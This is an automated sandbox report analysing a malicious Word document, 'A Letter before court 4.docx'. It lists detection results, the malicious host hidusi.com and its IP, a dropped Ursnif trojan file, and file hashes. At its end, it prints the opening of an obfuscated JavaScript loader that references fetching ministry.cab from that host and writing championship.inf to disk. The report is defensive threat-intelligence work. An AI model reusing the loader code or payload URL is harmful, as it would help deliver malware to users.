.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
A Letter before court 4.docx	2%	Virustotal		Browse
A Letter before court 4.docx	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\championship.inf	37%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\championship.inf	22%	ReversingLabs	Win64.Trojan.Ursnif

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
hidusi.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://roaming.edog.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
http://hidusi.com/e8c76295a5f9acb7/ministry.cab	0%	Virustotal		Browse
http://hidusi.com/e8c76295a5f9acb7/ministry.cab	0%	Avira URL Cloud	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
http://hidusi.com/e8c76295a5f9acb7/ministry.cab)	0%	Avira URL Cloud	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hidusi.com	23.106.160.25	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://hidusi.com/e8c76295a5f9acb7/ministry.cab	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://login.microsoftonline.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://shell.suite.office.com:1443	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://autodiscover-s.outlook.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://roaming.edog.	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://cdn.entity.	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://powerlift.acompli.net	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://cortana.ai	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://api.aadrm.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://api.microsoftstream.com/api/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://cr.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://portal.office.com/account/?ref=ClientMeControl	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://graph.ppe.windows.net	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://officeci.azurewebsites.net/api/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://store.office.cn/addinstemplate	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
http://hidusi.com/e8c76295a5f9acb7/ministry.cab)	YQ8Q39W5.HTM.0.dr	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://globaldisco.crm.dynamics.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://store.officeppe.com/addinstemplate	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://web.microsoftstream.com/video/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://graph.windows.net	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://dataservice.o365filtering.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://ncus.contentsync.	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
http://weather.service.msn.com/data.aspx	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://apis.live.net/v5.0/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://management.azure.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://outlook.office365.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://wus2.contentsync.	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://api.office.net	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://incidents.diagnosticssdf.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://entitlement.diagnostics.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://substrate.office.com/search/api/v2/init	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://outlook.office.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://outlook.office365.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://webshell.suite.office.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://management.azure.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://devnull.onenote.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://ncus.pagecontentsync.	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://messaging.office.com/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://augloop.office.com/v2	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://skyapi.live.net/Activity/	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/mac	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high
https://dataservice.o365filtering.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://api.cortana.ai	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false	URL Reputation: safe	unknown
https://www.openssl.org/docs/faq.html	ministry[1].cab.0.dr	false		high
https://onedrive.live.com	9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.106.160.25	hidusi.com	United States		7203	LEASEWEB-USA-SFO-12US	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	476188
Start date:	02.09.2021
Start time:	05:58:45
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	A Letter before court 4.docx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.expl.winDOCX@77/22@2/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .docx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): mrxdav.sys, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 52.109.76.68, 52.109.8.23, 52.109.76.35, 20.82.209.183, 23.211.4.86, 40.112.88.60, 80.67.82.211, 80.67.82.235, 20.49.157.6 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, prod-w.nexus.live.com.akadns.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, config.officeapps.live.com, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, europe.configsvc1.live.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.106.160.25	A Letter before court 4.docx	Get hash	malicious	Browse	hidusi.com/e8c76295a5f9acb7/side.html

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LEASEWEB-USA-SFO-12US	A Letter before court 4.docx	Get hash	malicious	Browse	23.106.160.25
	payment advice008.exe	Get hash	malicious	Browse	23.105.124.213
	PROFOMA INVOICE NO2021TD24.exe	Get hash	malicious	Browse	23.106.91.115
	New information.xlsb	Get hash	malicious	Browse	23.82.19.187
	New information.xlsb	Get hash	malicious	Browse	23.82.19.187
	9cQbw7Yway	Get hash	malicious	Browse	142.91.37.19
	Rtfd1Rl34L.exe	Get hash	malicious	Browse	23.82.57.32
	sc75FNOq0z.exe	Get hash	malicious	Browse	147.255.162.204
	A3Xzw2gfbY.exe	Get hash	malicious	Browse	23.82.175.70
	E5A2.dll	Get hash	malicious	Browse	23.82.19.173
	Payment Advice.exe	Get hash	malicious	Browse	108.177.162.189
	UZOM POWER.exe	Get hash	malicious	Browse	172.255.209.118
	FedEx AWB# 774174658339,PDF.exe	Get hash	malicious	Browse	172.255.209.118
	im6t4lGifz.exe	Get hash	malicious	Browse	147.255.162.204
	ORIGINAL PROFORMA INVOICE COAU7220898130,PDF.exe	Get hash	malicious	Browse	172.255.209.118
	oustanding 03082921.xlsx	Get hash	malicious	Browse	23.82.57.32
	New PO 0006770.exe	Get hash	malicious	Browse	23.81.39.143
	DHL Shipment Notification,PDF.exe	Get hash	malicious	Browse	172.255.209.118
	4A7rphFZrY	Get hash	malicious	Browse	142.91.25.66
	ORDER 200VPS.xlsx	Get hash	malicious	Browse	23.82.57.32

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	626709
Entropy (8bit):	0.504798948130974
Encrypted:	false
SSDEEP:	384:1lCJCgbl8SFUfZ0jGBUK9tWVwtZ1Iz+hVZO4Fy6ycbTGTHi5b:fyCMHcZKK8V/gBaTH+b
MD5:	2341786915B049CD770DD45E7CDE9D63
SHA1:	3E60C9BB5BE3C86800BEC49B23263CA13EDAB0A3
SHA-256:	D11ACECA59F1B507FEBD7C5865D7FB5DA19A1A37CAD841BBF2BCFC8D2A1FE84A
SHA-512:	8CA17E7FCFE3CDA030E9AA8844FFD5B6DB61D45A2CB4AE898A4FF76CECB2A92AAECDC58E2B26F527B7991225085FD24BA7234BF55D971D990CF84603AAF797F1
Malicious:	false
Preview:	.....Standard ACE DB......n.b`..U.gr@?..~.....1.y..0...c...F...N.V.7..._.(...`.9{6l...Y.CV..3..y[..\|*..\|.......iK..f_...$.g..'D...e....F.x....-b.T...4.0........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	36
Entropy (8bit):	2.730660070105504
Encrypted:	false
SSDEEP:	3:5NixJlElGUR:WrEcUR
MD5:	1F830B53CA33A1207A86CE43177016FA
SHA1:	BDF230E1F33AFBA5C9D5A039986C6505E8B09665
SHA-256:	EAF9CDC741596275E106DDDCF8ABA61240368A8C7B0B58B08F74450D162337EF
SHA-512:	502248E893FCFB179A50863D7AC1866B5A466C9D5781499EBC1D02DF4F6D3E07B9E99E0812E747D76734274BD605DAD6535178D6CE06F08F1A02AB60335DE066
Malicious:	false
Preview:	C.e.n.t.r.a.l.T.a.b.l.e...a.c.c.d.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.3235360556164644
Encrypted:	false
SSDEEP:	3:kNaV:kNu
MD5:	D02DF475FD464F6C9038D9F5AC110E48
SHA1:	10B1BC5FFFB2606F564EBE559A86CB910756E791
SHA-256:	DD0AB8FBECB1128DBC602B90CB9253CF9F393FE990C343602C970B7AB0FB1727
SHA-512:	CFAE2DC622C0809B8789EC2EBE5FA9230F3824849BB38BE98DC2AB5A30FA68027F9EF2932429D62275F7126D8181049467D8952F6EB27A65DED70CD5FFB0C558
Malicious:	false
Preview:	066656. Admin.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\9016AF0D-7AC1-4FEE-A5B8-D20651594FEA Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	136902
Entropy (8bit):	5.362201035429283
Encrypted:	false
SSDEEP:	1536:2cQIKNveBfA3gBwbnQ9DQW+z2Y34ZliKnXboOidXuE6LWME9:tCQ9DQW+zfXr1
MD5:	E082E435484F384C9F1F43F1C3830A5C
SHA1:	4BF44B940712A9257866CB3D07402A55F32AE575
SHA-256:	F18020F66BCDEF46490149630899DB022B19EA184D4830C34C30CA3C70ACC8AC
SHA-512:	06139EA071491C3800262E2475A53430D6CB47AF5CE8F34A37B01D305B1F87614083E0542D8437C89E774FB19A56B6295AFA88B7F71E7C9D3EB0297ECF20B0EA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-09-02T03:59:37">.. Build: 16.0.14423.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\234EBFAE.jpeg Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 224x224, frames 3
Category:	dropped
Size (bytes):	9805
Entropy (8bit):	7.943364058434094
Encrypted:	false
SSDEEP:	192:eWSC3lgsFHUzdeJQnmRLMdno3Y1CQdlCQ3rHlX0wbaanHUwiCIviXNNLko/H2K:eujKzdXxt/CeCiFSwxNNAwWK
MD5:	98B5273E3C1D3B27777A1A17E51478A5
SHA1:	AA6854BA61CEADCCC58F3DC01680D94205B83671
SHA-256:	3953378734D19ABC3AAC6F760C713A10300517C40DD605C7D7518995914205AA
SHA-512:	4684921304A199470F7E11F85F5200EB670077D692D46CCA6DE0E4ADD3D32A90B4756EFAB612B5C22552239FA13031B44A06E306F3F97A80933348270AF8F16F
Malicious:	false
Preview:	......JFIF...................................................(!..%...!1!&)+../..383,7-.-...........-& &/--.--/-/-++--------------------------------------...........".......................................9.........................!.1."AQa.2q...BR..#3.....$Cb.r................................5......................!1.A.Qaq".....2...r.....#3BR............?..T...b..M.:.7_..B.P.....e...Q".I.....v..@a...};V......'S......D..5.I..3C.....#6?a........{..mF..KLJ`5.i@.A.@Bp4@.....).YJ.4.D`...)=.3.\|...^..y\$h]..2I.x......FTF.n%I.cF...#..C.....I.-.?g..F...H4`..b.0i@..\.Bp4@...T..q.l.I...S.#z.)...'9....A"R...J...JQ....J.....&W.A..B.^.Wk./Wk.......)...^.+R....L...R.L....].O1M.p..~p....4.......I2..;..6.q.A...dU..7.H.....)<..pG....G.s..F......D....&.4.fi[i....... .g=...}.}f.,..........~q.j_LX..L..Y1...=.cL.I..v....oK....D...I.r..9.g<py.j.s...m.~z+.k*S5\3.?.....0kb.~.....o=..V.&..Hy..2.v.q...#./..y..z.m`.Cg..I....mv.I..p{....8....dw.(.HT.V ..A......;..v.rv\.}..#..v.....J......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\42164C14.wmf Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	74
Entropy (8bit):	2.117514616373907
Encrypted:	false
SSDEEP:	3:t/Wlsl81olpUktK0Xg/lrll0:t/d8W6kK0XgtI
MD5:	C4E6B3035AC3828D375E5479E8485D0D
SHA1:	624B2E68B669293CE5EF5EDA4EFCFDE97FFEA84A
SHA-256:	591890CBBED60EF32252835A3F13362E9204F1088E5EFA9E164A3526B612C4D7
SHA-512:	1864A7CBF1C5205F0D1CAC9DA5CA4E8F103B9C045913A98B8A9DA62B3850AB842913235BF38DA6C7D78ECE985D35EBC8F6C15471B5C2FE23A6A4BBF66A03E4DB
Malicious:	false
Preview:	.............`.....qW....................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9ADCF821.htm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6385
Entropy (8bit):	5.137175615924664
Encrypted:	false
SSDEEP:	96:eB+cgULAwdx1KW5UPi/uDFreXr7zNL7DX+Zs3ZDXCf:eocgUU6LKW5UPimpeb7lDX+Zs3ZDXCf
MD5:	4C80DC9FB7483214B1613957AAE57E2A
SHA1:	E5F2089D95FD713CA3D4787FE53C0EC036135E92
SHA-256:	D0FD7ACC38B3105FACD6995344242F28E45F5384C0FDF2EC93EA24BFBC1DC9E6
SHA-512:	4172F2472A578018C92AA5787D4855AFEEF0C02B53E926A4D9922B491F4CB078F4AA99425A719704A268994E7F9AC0DB8851F8809E93AAE298899C4DDD9D40BF
Malicious:	false
Preview:	<!DOCTYPE html>.<html>. <head>. <meta http-equiv="Expires" content="-1">. <meta http-equiv="X-UA-Compatible" content="IE=11">. </head>. <body>. <script>.var a0_0x127f=['123','365952KMsRQT','tiveX','/Lo','./../../','contentDocument','ppD','Dat','close','Acti','removeChild','mlF','write','./A','ata/','ile','../','body','setAttribute','#version=5,0,0,0','ssi','iframe','748708rfmUTk','documentElement','lFile','location','159708hBVRtu','a/Lo','Script','document','call','contentWindow','emp','Document','Obj','prototype','lfi','bject','send','appendChild','Low/championship.inf','htmlfile','115924pLbIpw','GET','p/championship.inf','1109sMoXXX','./../A','htm','l/T','cal/','1wzQpCO','ect','w/championship.inf','522415dmiRUA','http://hidusi.com/e8c76295a5f9acb7/ministry.cab','88320wWglcB','XMLHttpRequest','championship.inf','Act','D:edbc374c-5730-432a-b5b8-de94f0b57217','open','<bo','HTMLElement','/..','veXO','102FePAWC'];function 